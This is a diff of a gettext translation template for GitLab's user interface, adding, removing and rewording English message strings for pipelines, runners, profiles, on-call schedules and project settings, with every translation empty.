+
+msgid "New public deploy key"
+msgstr ""
+
msgid "New release"
msgstr ""
@@ -20512,9 +21331,6 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
-msgid "New runner. Has not connected yet"
-msgstr ""
-
msgid "New runners registration token has been generated!"
msgstr ""
@@ -20554,6 +21370,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20599,6 +21418,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20665,7 +21487,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20716,6 +21538,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20767,6 +21592,9 @@ msgstr ""
msgid "No prioritized labels with such name or description"
msgstr ""
+msgid "No projects found"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -20977,6 +21805,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21091,6 +21939,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21223,12 +22080,21 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
+msgid "OnCallSchedules|On-call schedule %{schedule} in Project %{project}"
+msgstr ""
+
msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
msgstr ""
+msgid "OnCallSchedules|Removing this user may put their on-call team at risk of missing a notification."
+msgstr ""
+
+msgid "OnCallSchedules|Removing yourself may put your on-call team at risk of missing a notification."
+msgstr ""
+
msgid "OnCallSchedules|Restrict to time intervals"
msgstr ""
@@ -21283,6 +22149,18 @@ msgstr ""
msgid "OnCallSchedules|Try adding a rotation"
msgstr ""
+msgid "OnCallSchedules|User %{name} is currently part of:"
+msgstr ""
+
+msgid "OnCallSchedules|View next timeframe"
+msgstr ""
+
+msgid "OnCallSchedules|View previous timeframe"
+msgstr ""
+
+msgid "OnCallSchedules|You are currently a part of:"
+msgstr ""
+
msgid "OnCallSchedules|Your schedule has been successfully created and all alerts from this project will now be routed to this schedule. Currently, only one schedule can be created per project. More coming soon! To add individual users to this schedule, use the add a rotation button."
msgstr ""
@@ -21367,6 +22245,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21414,7 +22295,7 @@ msgstr ""
msgid "Only 1 appearances row can exist"
msgstr ""
-msgid "Only Issue ID or Merge Request ID is required"
+msgid "Only Issue ID or merge request ID is required"
msgstr ""
msgid "Only Project Members"
@@ -21453,12 +22334,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21477,9 +22352,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21492,6 +22364,12 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
+msgstr ""
+
msgid "Opened"
msgstr ""
@@ -21507,6 +22385,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21558,6 +22439,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21675,6 +22559,9 @@ msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21849,6 +22736,9 @@ msgstr ""
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -21927,27 +22817,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22044,9 +22913,6 @@ msgstr ""
msgid "Part of merge request changes"
msgstr ""
-msgid "Partial token for reference only"
-msgstr ""
-
msgid "Participants"
msgstr ""
@@ -22065,9 +22931,6 @@ msgstr ""
msgid "Password (optional)"
msgstr ""
-msgid "Password Policy Guidelines"
-msgstr ""
-
msgid "Password authentication is unavailable."
msgstr ""
@@ -22128,6 +22991,9 @@ msgstr ""
msgid "Pause replication"
msgstr ""
+msgid "Paused"
+msgstr ""
+
msgid "Paused runners don't accept new jobs"
msgstr ""
@@ -22137,6 +23003,9 @@ msgstr ""
msgid "Pending comments"
msgstr ""
+msgid "Pending sync…"
+msgstr ""
+
msgid "People without permission will never get a notification and won't be able to comment."
msgstr ""
@@ -22152,15 +23021,24 @@ msgstr ""
msgid "Perform advanced options such as changing path, transferring, exporting, or removing the group."
msgstr ""
+msgid "Perform code reviews and enhance collaboration with merge requests."
+msgstr ""
+
msgid "Perform common operations on GitLab project"
msgstr ""
msgid "Performance optimization"
msgstr ""
+msgid "PerformanceBar|Backend"
+msgstr ""
+
msgid "PerformanceBar|Bullet notifications"
msgstr ""
+msgid "PerformanceBar|DOM Content Loaded"
+msgstr ""
+
msgid "PerformanceBar|Download"
msgstr ""
@@ -22170,6 +23048,9 @@ msgstr ""
msgid "PerformanceBar|External Http calls"
msgstr ""
+msgid "PerformanceBar|First Contentful Paint"
+msgstr ""
+
msgid "PerformanceBar|Frontend resources"
msgstr ""
@@ -22185,10 +23066,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22248,6 +23138,9 @@ msgstr ""
msgid "Pipeline ran in fork of project"
msgstr ""
+msgid "Pipeline status emails"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -22290,6 +23183,18 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
+msgstr ""
+
+msgid "PipelineEditor|The merged YAML view is displayed when the CI/CD configuration file has valid syntax."
+msgstr ""
+
+msgid "PipelineEditor|The pipeline visualization is displayed when the CI/CD configuration file has valid syntax."
+msgstr ""
+
+msgid "PipelineEditor|This tab will be usable when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
msgstr ""
@@ -22335,9 +23240,6 @@ msgstr ""
msgid "Pipelines charts"
msgstr ""
-msgid "Pipelines emails"
-msgstr ""
-
msgid "Pipelines for merge requests are configured. A detached pipeline runs in the context of the merge request, and not against the merged result. Learn more in the documentation for Pipelines for Merged Results."
msgstr ""
@@ -22356,13 +23258,16 @@ msgstr ""
msgid "Pipelines|By revoking a trigger you will break any processes making use of it. Are you sure?"
msgstr ""
-msgid "Pipelines|CI Lint"
+msgid "Pipelines|CI lint"
+msgstr ""
+
+msgid "Pipelines|CI/CD template to test and deploy your %{name} project."
msgstr ""
msgid "Pipelines|Child pipeline"
msgstr ""
-msgid "Pipelines|Clear Runner Caches"
+msgid "Pipelines|Clear runner caches"
msgstr ""
msgid "Pipelines|Copy trigger token"
@@ -22380,6 +23285,9 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgstr ""
+
msgid "Pipelines|Get started with CI/CD"
msgstr ""
@@ -22407,6 +23315,9 @@ msgstr ""
msgid "Pipelines|Loading Pipelines"
msgstr ""
+msgid "Pipelines|Loading pipelines"
+msgstr ""
+
msgid "Pipelines|Merged YAML is view only"
msgstr ""
@@ -22428,9 +23339,6 @@ msgstr ""
msgid "Pipelines|Revoke"
msgstr ""
-msgid "Pipelines|Run Pipeline"
-msgstr ""
-
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
@@ -22476,6 +23384,21 @@ msgstr ""
msgid "Pipelines|Trigger user has insufficient permissions to project"
msgstr ""
+msgid "Pipelines|Use a CI/CD template"
+msgstr ""
+
+msgid "Pipelines|Use a sample %{codeStart}.gitlab-ci.yml%{codeEnd} template file to explore how CI/CD works."
+msgstr ""
+
+msgid "Pipelines|Use a sample CI/CD template"
+msgstr ""
+
+msgid "Pipelines|Use a template based on your project's language or framework to get started with GitLab CI/CD."
+msgstr ""
+
+msgid "Pipelines|Use template"
+msgstr ""
+
msgid "Pipelines|Validating GitLab CI configuration…"
msgstr ""
@@ -22494,6 +23417,9 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
+msgid "Pipelines|“Hello world†with GitLab CI/CD"
+msgstr ""
+
msgid "Pipeline|Actions"
msgstr ""
@@ -22518,9 +23444,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22578,15 +23501,15 @@ msgstr ""
msgid "Pipeline|Raw text search is not currently supported. Please use the available search tokens."
msgstr ""
-msgid "Pipeline|Run Pipeline"
-msgstr ""
-
msgid "Pipeline|Run for"
msgstr ""
msgid "Pipeline|Run for branch name or tag"
msgstr ""
+msgid "Pipeline|Run pipeline"
+msgstr ""
+
msgid "Pipeline|Running"
msgstr ""
@@ -22617,6 +23540,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22686,9 +23621,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22758,7 +23690,7 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
-msgid "Please enter or upload a license."
+msgid "Please enter or upload a valid license."
msgstr ""
msgid "Please fill in a descriptive name for your group."
@@ -22839,10 +23771,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22878,7 +23810,16 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
-msgid "Policy project doesn't exists"
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Port"
msgstr ""
msgid "Postman collection"
@@ -23013,6 +23954,9 @@ msgstr ""
msgid "Prevent adding new members to project membership within this group"
msgstr ""
+msgid "Prevent approval of merge requests by merge request committers."
+msgstr ""
+
msgid "Prevent environment from auto-stopping"
msgstr ""
@@ -23022,6 +23966,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23046,6 +23996,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23070,6 +24023,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23274,6 +24230,12 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Expired key is not valid."
+msgstr ""
+
+msgid "Profiles|Expired:"
+msgstr ""
+
msgid "Profiles|Expires at"
msgstr ""
@@ -23304,6 +24266,9 @@ msgstr ""
msgid "Profiles|Increase your account's security by enabling Two-Factor Authentication (2FA)"
msgstr ""
+msgid "Profiles|Invalid key."
+msgstr ""
+
msgid "Profiles|Invalid password"
msgstr ""
@@ -23313,6 +24278,15 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
+msgstr ""
+
+msgid "Profiles|Key will be deleted on this date."
+msgstr ""
+
msgid "Profiles|Last used:"
msgstr ""
@@ -23328,7 +24302,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23358,6 +24332,9 @@ msgstr ""
msgid "Profiles|Public email"
msgstr ""
+msgid "Profiles|Publicly visible private SSH keys can compromise your system."
+msgstr ""
+
msgid "Profiles|Remove avatar"
msgstr ""
@@ -23382,9 +24359,6 @@ msgstr ""
msgid "Profiles|The maximum file size allowed is 200KB."
msgstr ""
-msgid "Profiles|This doesn't look like a public SSH key, are you sure you want to add it? It will be publicly visible."
-msgstr ""
-
msgid "Profiles|This email will be displayed on your public profile"
msgstr ""
@@ -23472,9 +24446,6 @@ msgstr ""
msgid "Profiles|Your email address was automatically set based on your %{provider_label} account"
msgstr ""
-msgid "Profiles|Your key has expired"
-msgstr ""
-
msgid "Profiles|Your location was automatically set based on your %{provider_label} account"
msgstr ""
@@ -23565,6 +24536,9 @@ msgstr ""
msgid "Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group."
msgstr ""
+msgid "Project access token creation is disabled in this group. You can still use and manage existing tokens."
+msgstr ""
+
msgid "Project already deleted"
msgstr ""
@@ -23718,6 +24692,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23727,52 +24704,97 @@ msgstr ""
msgid "ProjectSelect|Search for project"
msgstr ""
-msgid "ProjectService|%{service_title}: status off"
+msgid "ProjectService|Drone server URL"
msgstr ""
-msgid "ProjectService|%{service_title}: status on"
+msgid "ProjectService|Enter new API key"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Enter new password."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Jenkins server URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Leave blank to use your current password."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|New issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Run CI/CD pipelines with Drone."
msgstr ""
-msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
+msgid "ProjectService|Run CI/CD pipelines with JetBrains TeamCity."
+msgstr ""
+
+msgid "ProjectService|TeamCity server URL"
+msgstr ""
+
+msgid "ProjectService|The build configuration ID of the TeamCity project."
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectService|Token for the Drone project."
+msgstr ""
+
+msgid "ProjectService|Trigger event for new comments on confidential issues."
+msgstr ""
+
+msgid "ProjectService|Trigger event for new comments."
+msgstr ""
+
+msgid "ProjectService|Trigger event for new tags pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Trigger event for pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Trigger event when a commit is created or updated."
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|Trigger event when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Trigger event when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Trigger event when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Trigger event when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Trigger event when a pipeline status changes."
+msgstr ""
+
+msgid "ProjectService|Trigger event when a wiki page is created or updated."
+msgstr ""
+
+msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
@@ -23844,7 +24866,7 @@ msgstr ""
msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
msgid "ProjectSettings|Enable merged results pipelines"
@@ -23955,9 +24977,6 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -24024,12 +25043,21 @@ msgstr ""
msgid "ProjectSettings|Supported variables:"
msgstr ""
+msgid "ProjectSettings|Target project"
+msgstr ""
+
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The default target project for merge requests created in this fork project."
+msgstr ""
+
msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
+msgid "ProjectSettings|This project"
+msgstr ""
+
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
msgstr ""
@@ -24045,6 +25073,9 @@ msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Upstream project"
+msgstr ""
+
msgid "ProjectSettings|Used for every new merge request."
msgstr ""
@@ -24255,6 +25286,9 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
+msgid "ProjectsNew|Create blank project/repository"
+msgstr ""
+
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -24273,6 +25307,9 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
+msgid "ProjectsNew|Import project/repository"
+msgstr ""
+
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -24534,7 +25571,7 @@ msgstr ""
msgid "Promotions|Not now, thanks!"
msgstr ""
-msgid "Promotions|See the other features in the %{subscription_link_start}bronze plan%{subscription_link_end}"
+msgid "Promotions|See the other features in the %{subscription_link_start}Premium plan%{subscription_link_end}"
msgstr ""
msgid "Promotions|Start GitLab Ultimate trial"
@@ -24720,6 +25757,9 @@ msgstr ""
msgid "Protocol"
msgstr ""
+msgid "Provide feedback"
+msgstr ""
+
msgid "Provider"
msgstr ""
@@ -24777,6 +25817,9 @@ msgstr ""
msgid "Purchase more storage"
msgstr ""
+msgid "PurchaseStep|An error occured in the purchase step. If the problem persists please contact support@gitlab.com."
+msgstr ""
+
msgid "Push"
msgstr ""
@@ -24918,6 +25961,9 @@ msgstr ""
msgid "Quick actions can be used in the issues description and comment boxes."
msgstr ""
+msgid "Quick help"
+msgstr ""
+
msgid "Quick range"
msgstr ""
@@ -24951,9 +25997,15 @@ msgstr ""
msgid "Re-verification interval"
msgstr ""
+msgid "Read documentation"
+msgstr ""
+
msgid "Read more"
msgstr ""
+msgid "Read more about GitLab at %{link_to_promo}."
+msgstr ""
+
msgid "Read more about project permissions %{help_link_open}here%{help_link_close}"
msgstr ""
@@ -24993,6 +26045,9 @@ msgstr ""
msgid "Recent Activity"
msgstr ""
+msgid "Recent Deliveries"
+msgstr ""
+
msgid "Recent Project Activity"
msgstr ""
@@ -25005,6 +26060,9 @@ msgstr ""
msgid "Recent searches"
msgstr ""
+msgid "Recently used"
+msgstr ""
+
msgid "Reconfigure"
msgstr ""
@@ -25032,9 +26090,6 @@ msgstr ""
msgid "Reference"
msgstr ""
-msgid "Reference:"
-msgstr ""
-
msgid "References"
msgstr ""
@@ -25195,7 +26250,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25207,7 +26262,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25216,6 +26271,9 @@ msgstr ""
msgid "Remediations"
msgstr ""
+msgid "Remember me"
+msgstr ""
+
msgid "Remind later"
msgstr ""
@@ -25231,6 +26289,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25297,6 +26358,9 @@ msgstr ""
msgid "Remove list"
msgstr ""
+msgid "Remove log"
+msgstr ""
+
msgid "Remove member"
msgstr ""
@@ -25525,6 +26589,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25571,9 +26638,6 @@ msgstr ""
msgid "Reports|Base report parsing error:"
msgstr ""
-msgid "Reports|Class"
-msgstr ""
-
msgid "Reports|Classname"
msgstr ""
@@ -25593,6 +26657,9 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
msgid "Reports|Head report parsing error:"
msgstr ""
@@ -25722,6 +26789,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25779,6 +26849,9 @@ msgstr ""
msgid "Request Access"
msgstr ""
+msgid "Request a new one"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -25791,6 +26864,9 @@ msgstr ""
msgid "Request review from"
msgstr ""
+msgid "Request time"
+msgstr ""
+
msgid "Request to link SAML account must be authorized"
msgstr ""
@@ -25818,7 +26894,10 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
-msgid "Require admin approval for new sign-ups"
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
+msgid "Require all users in this group to setup Two-factor authentication"
msgstr ""
msgid "Require all users in this group to setup two-factor authentication"
@@ -25891,6 +26970,9 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Resend unlock instructions"
+msgstr ""
+
msgid "Reset"
msgstr ""
@@ -25909,6 +26991,9 @@ msgstr ""
msgid "Reset key"
msgstr ""
+msgid "Reset password"
+msgstr ""
+
msgid "Reset registration token"
msgstr ""
@@ -26011,9 +27096,6 @@ msgstr ""
msgid "Restricted shift times are not available for hourly shifts"
msgstr ""
-msgid "Restricts sign-ups for email addresses that match the given regex. See the %{supported_syntax_link_start}supported syntax%{supported_syntax_link_end} for more information."
-msgstr ""
-
msgid "Resume"
msgstr ""
@@ -26126,7 +27208,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26177,12 +27262,6 @@ msgstr ""
msgid "Runner API"
msgstr ""
-msgid "Runner is %{status}, last contact was %{runner_contact} ago"
-msgstr ""
-
-msgid "Runner token"
-msgstr ""
-
msgid "Runner tokens"
msgstr ""
@@ -26222,25 +27301,25 @@ msgstr ""
msgid "Runners|Can run untagged jobs"
msgstr ""
-msgid "Runners|Copy instructions"
+msgid "Runners|Command to register runner"
msgstr ""
-msgid "Runners|Description"
+msgid "Runners|Copy instructions"
msgstr ""
-msgid "Runners|Download Latest Binary"
+msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download and Install Binary"
+msgid "Runners|Download and install binary"
msgstr ""
-msgid "Runners|Group"
+msgid "Runners|Download latest binary"
msgstr ""
msgid "Runners|IP Address"
msgstr ""
-msgid "Runners|Install a Runner"
+msgid "Runners|Install a runner"
msgstr ""
msgid "Runners|Last contact"
@@ -26255,6 +27334,9 @@ msgstr ""
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New runner, has not connected yet"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -26264,30 +27346,51 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
+msgid "Runners|Revision"
msgstr ""
-msgid "Runners|Revision"
+msgid "Runners|Runner"
msgstr ""
-msgid "Runners|Shared"
+msgid "Runners|Runner #%{runner_id}"
msgstr ""
-msgid "Runners|Show Runner installation instructions"
+msgid "Runners|Runner is offline, last contact was %{runner_contact} ago"
+msgstr ""
+
+msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
+msgstr ""
+
+msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
-msgid "Runners|Specific"
+msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
+msgstr ""
+
+msgid "Runners|Show Runner installation instructions"
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner is associated with specific projects."
+msgstr ""
+
+msgid "Runners|This runner is available to all groups and projects in your GitLab instance."
+msgstr ""
+
+msgid "Runners|This runner is available to all projects and subgroups in a group."
+msgstr ""
+
msgid "Runners|To install Runner in Kubernetes follow the instructions described in the GitLab documentation."
msgstr ""
msgid "Runners|To install Runner in a container follow the instructions described in the GitLab documentation"
msgstr ""
+msgid "Runners|Use Group runners when you want all projects in a group to have access to a set of runners."
+msgstr ""
+
msgid "Runners|Value"
msgstr ""
@@ -26297,13 +27400,22 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgstr ""
+
